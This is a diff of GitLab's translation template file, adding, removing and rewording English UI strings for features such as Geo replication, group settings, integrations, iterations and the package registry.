-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14773,159 +14569,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -15016,6 +14674,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -15115,9 +14776,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -15190,6 +14848,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -15199,6 +14863,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15229,9 +14896,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15253,6 +14917,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15793,9 +15466,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15841,6 +15511,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15862,9 +15541,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15895,6 +15571,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15964,13 +15643,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -16006,9 +15682,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16321,18 +15994,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16357,6 +16027,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16396,13 +16069,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16585,6 +16258,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16703,6 +16379,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16788,9 +16467,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16938,6 +16614,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -17120,9 +16799,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17628,13 +17304,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17724,9 +17403,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17880,6 +17556,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17892,6 +17580,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17931,6 +17622,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17946,9 +17640,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17961,12 +17652,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17989,6 +17674,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -18031,9 +17719,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -18073,12 +17758,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -18103,9 +17800,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18256,6 +17950,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18331,25 +18028,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18358,13 +18037,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18385,7 +18061,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18394,9 +18070,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18421,6 +18094,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18832,18 +18508,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18853,6 +18547,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18865,6 +18562,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18883,9 +18586,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18985,9 +18694,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19036,6 +18751,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -19126,9 +18844,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -19156,18 +18871,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -19279,9 +18982,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19441,9 +19141,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19676,9 +19373,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19886,6 +19580,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -20121,6 +19818,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20355,6 +20055,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20373,9 +20082,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20595,9 +20301,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20667,6 +20370,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20688,6 +20394,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20700,6 +20409,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20760,9 +20472,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21541,9 +21250,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21686,9 +21392,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21947,9 +21650,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -22125,9 +21825,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22176,7 +21873,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22233,13 +21930,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22438,9 +22135,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22459,7 +22153,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22768,9 +22462,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22957,9 +22648,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -23102,9 +22790,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23742,10 +23427,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23823,6 +23508,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23853,6 +23541,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23877,9 +23571,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23931,6 +23622,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23940,15 +23634,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23994,6 +23688,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -24024,6 +23724,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24216,9 +23922,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24423,10 +24126,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24438,9 +24141,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24450,16 +24150,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
